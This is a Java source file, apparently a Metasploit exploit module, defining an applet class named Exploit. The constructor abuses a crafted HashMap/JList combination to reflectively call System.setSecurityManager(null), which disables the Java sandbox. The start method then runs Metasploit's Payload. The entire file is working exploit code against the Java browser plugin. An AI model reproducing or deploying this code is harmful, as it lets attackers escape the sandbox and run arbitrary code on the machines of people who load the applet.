48 lines
811 B
Java
48 lines
811 B
Java
|
package vuln;
|
||
|
|
||
|
import java.applet.Applet;
|
||
|
import java.io.IOException;
|
||
|
import java.util.HashMap;
|
||
|
import java.util.HashSet;
|
||
|
import java.util.Map;
|
||
|
import java.util.Set;
|
||
|
|
||
|
import javax.swing.JList;
|
||
|
|
||
|
import metasploit.Payload;
|
||
|
|
||
|
public class Exploit extends Applet {
|
||
|
|
||
|
public void start() {
|
||
|
super.start();
|
||
|
|
||
|
try {
|
||
|
Payload.main(null);
|
||
|
} catch (Exception e) {}
|
||
|
}
|
||
|
|
||
|
public Exploit() {
|
||
|
System.out.println("Exploiting");
|
||
|
Object target = System.class;
|
||
|
String methodName = "setSecurityManager";
|
||
|
Object[] args = new Object[] { null };
|
||
|
|
||
|
Link l = new vuln.Link(target, methodName, args);
|
||
|
|
||
|
final HashSet s = new HashSet();
|
||
|
s.add(l);
|
||
|
|
||
|
Map h = new HashMap() {
|
||
|
|
||
|
public Set entrySet() {
|
||
|
return s;
|
||
|
};
|
||
|
|
||
|
};
|
||
|
|
||
|
JList list = new JList(new Object[] { h });
|
||
|
this.add(list);
|
||
|
|
||
|
}
|
||
|
}
|